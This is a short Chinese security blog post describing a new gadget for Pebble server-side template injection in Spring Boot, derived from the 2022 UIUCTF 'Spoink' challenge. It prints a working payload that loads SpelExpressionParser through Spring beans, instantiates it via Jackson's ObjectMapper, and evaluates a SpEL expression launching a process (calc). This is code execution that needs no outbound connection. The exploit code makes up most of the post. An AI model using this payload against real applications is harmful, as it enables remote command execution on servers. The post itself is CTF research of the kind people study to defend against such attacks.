Pebble最新模板注入 新gadgets

Y4tacker师傅在这篇文章中给出了Pebble最新模板注入的exp

2022UIUCTF-Spoink(Pebble最新模板注入)

其中,在用internalCachingMetadataReaderFactory加载类后,使用了jacksonObjectMapper调用受限制的无参构造器。

Y4tacker师傅随后用Beans绕过了jackson的黑名单,实例化了ClassPathXmlApplicationContext

但其实既然可以实例化无参构造器,这里野路子还是很多的。在SilentE大爹的帮助下,我找到了另一个类

org.springframework.expression.spel.standard.SpelExpressionParser

这个类满足上述条件,且不受jackson限制,也不用出网,而且是SpringBoot自带的。原理如下

String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"calc\"}).start()";
SpelExpressionParser parser = new SpelExpressionParser();
parser.parseExpression(cmdStr).getValue();

payload

{% set clazz=beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").getResourceLoader().getClassLoader().loadClass("org.springframework.expression.spel.standard.SpelExpressionParser") %}
{% set instance =  beans.get("jacksonObjectMapper").readValue("{}", clazz) %}
{{instance.parseExpression("new java.lang.ProcessBuilder(\"calc\").start()").getValue()}}
posted @ 2022-08-16 17:59  KingBridge  阅读(303)  评论(0编辑  收藏  举报